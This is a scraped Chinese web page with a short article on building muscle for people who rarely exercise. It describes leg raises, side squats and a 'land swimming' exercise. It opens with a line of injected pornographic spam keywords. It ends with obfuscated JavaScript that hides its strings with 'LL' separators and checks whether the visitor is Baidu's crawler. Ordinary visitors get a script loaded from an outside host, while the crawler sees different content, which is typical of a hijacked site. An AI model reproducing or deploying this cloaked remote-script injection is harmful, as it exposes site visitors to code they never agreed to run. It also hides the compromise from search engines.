亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

怎么鍛煉肌肉啊

2017-04-15 22:55:56  來源:360常識網(wǎng)   熱度:
導(dǎo)語:肌肉是人體強(qiáng)大的象征,肌肉越多的人力量越大,所能承受的壓力也越大,因此,練習(xí)肌肉是人們鍛煉的主要目的,特別是男性們將鍛煉肌肉當(dāng)成鍛

肌肉是人體強(qiáng)大的象征,肌肉越多的人力量越大,所能承受的壓力也越大,因此,練習(xí)肌肉是人們鍛煉的主要目的,特別是男性們將鍛煉肌肉當(dāng)成鍛煉的唯一目標(biāo),但是鍛煉肌肉并不是那么簡單的事情,練習(xí)肌肉需要講究方法才行,那么,平時(shí)不怎么運(yùn)動的人怎么鍛煉肌肉啊?

一、收腹抬腿:雙腿并攏仰臥,雙手放于臀部,然后以臀部為支點(diǎn),將兩腿、上體向上抬起約60度,然后再將腿緩緩放下,但不可觸碰地面。還可將雙腳并攏抬離地面,然后雙腳打開。反復(fù)做多次。如果持之以恒,就會擁有傲人的6塊腹肌了。

二、側(cè)拉大腿:盡可能將雙腳打開站立,然后將身體向右腳蹲下,右手握住右腳腳尖,左手握住右腳腳跟,保持20秒后,緩緩站起,再蹲向左腳,做同樣的動作,右手握住左腳腳跟,反復(fù)做8——10次。可別小看了這個動作,常做不但能練出大腿肌肉,而且還可以增進(jìn)“生活情趣”。

三、挺腰劃手:就是所謂的“陸地游泳”,這是海軍陸戰(zhàn)隊(duì)的招牌動作之一。這是想要將上半身塑造出健美線條的男士的必練動作。

不愛運(yùn)動的人怎么鍛煉肌肉?。窟@是許多宅男們想要了解的問題,其實(shí)練肌肉的方法非常簡單,關(guān)鍵是要看堅(jiān)持,堅(jiān)持下去了就會取得良好的效果,如果半途而廢就會讓練好的肌肉恢復(fù)到之前的狀態(tài),因此,練肌肉貴在堅(jiān)持

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}